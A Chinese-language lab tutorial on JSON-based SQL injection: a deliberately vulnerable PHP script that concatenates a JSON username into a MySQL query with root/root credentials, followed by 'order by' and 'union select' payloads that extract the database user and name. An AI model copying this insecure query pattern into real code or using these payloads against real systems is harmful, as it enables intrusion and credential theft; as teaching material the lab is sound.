環境
- phpstudy
- php服務端代碼
- security數據庫中的users表中的username,password字段
- 用戶名admin
JSON服務端代碼
大家實際測試中注意修改相關的數據庫名、表名、字段名等
<?php
// php防止中文亂碼
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文檔格式有誤,請檢查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql連接,root/root連接本地數據庫
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('數據庫連接失敗:'.$mysqli->connect_error);
}
// 要操作的數據庫名,我的數據庫是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打開數據庫失敗:'.$mysqli->error);
}
// 數據庫編碼格式
$mysqli->set_charset('utf-8');
// 從users表中查詢username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('執行SQL語句失敗:'.$mysqli->error);
}else if($result->num_rows==0){
die('查詢結果為空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用戶名:{$array1[0]['username']},密碼:{$array1[0]['password']}";
}
// 釋放資源
$result->free();
$mysqli->close();
}
?>
進行注入
1、按照特定的數據格式查詢admin用戶密碼
json={"username":"admin"}

2、查看源代碼,構造payload
代碼中的sql語句是這個樣子的,構造payload進行注入

3、判斷當前數據庫有多少列
2正常,3報錯,判斷當前數據庫有2列
json={"username":"admin' order by 3#"}

4、注入帶出來數據
json={"username":"admin' and 1=2 union select 1,2#"}

json={"username":"admin' and 1=2 union select user(),database()#"}

接下來就是注入操作了,在此不做后續注入...
